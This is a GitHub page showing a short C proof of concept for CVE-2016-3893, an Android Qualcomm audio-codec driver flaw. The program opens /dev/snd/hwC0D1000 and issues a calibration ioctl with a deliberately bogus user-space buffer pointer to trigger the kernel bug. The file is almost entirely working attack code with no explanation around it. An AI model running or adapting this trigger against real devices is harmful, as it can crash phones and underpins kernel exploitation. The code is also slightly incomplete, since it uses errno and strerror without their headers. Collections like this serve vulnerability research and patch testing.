-
Notifications
You must be signed in to change notification settings - Fork 202
/
Copy pathCVE-2016-3893.c
58 lines (48 loc) · 1.08 KB
/
CVE-2016-3893.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/**
*
* CVE-2016-3893.c
* https://code.google.com/p/android/issues/detail?id=213554
*
*/
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
enum wcd_cal_type {
WCD9XXX_MIN_CAL,
WCD9XXX_ANC_CAL = WCD9XXX_MIN_CAL,
WCD9XXX_MAD_CAL,
WCD9XXX_MBHC_CAL,
WCD9XXX_MAX_CAL,
};
struct wcdcal_ioctl_buffer {
__u32 size;
__u8 __user *buffer;
enum wcd_cal_type cal_type;
};
#define SNDRV_CTL_IOCTL_HWDEP_CAL_TYPE \
_IOW('U', 0x1, struct wcdcal_ioctl_buffer)
int main(void)
{
int i;
const char *dev = "/dev/snd/hwC0D1000";
int fd;
struct wcdcal_ioctl_buffer buf = { 0 };
buf.size = 0xF;
buf.buffer = 0x414100ABADACC355;
buf.cal_type = WCD9XXX_MAD_CAL;
printf("Opening %s\n", dev);
fd = open(dev, O_WRONLY);
if (fd > 0) {
printf("ioctl\n");
ioctl(fd, SNDRV_CTL_IOCTL_HWDEP_CAL_TYPE, &buf);
printf("strerror %s\n", strerror(errno));
}
else
printf("Error on %s with %s\n", dev, strerror(errno));
//sleep(1);
close(fd);
}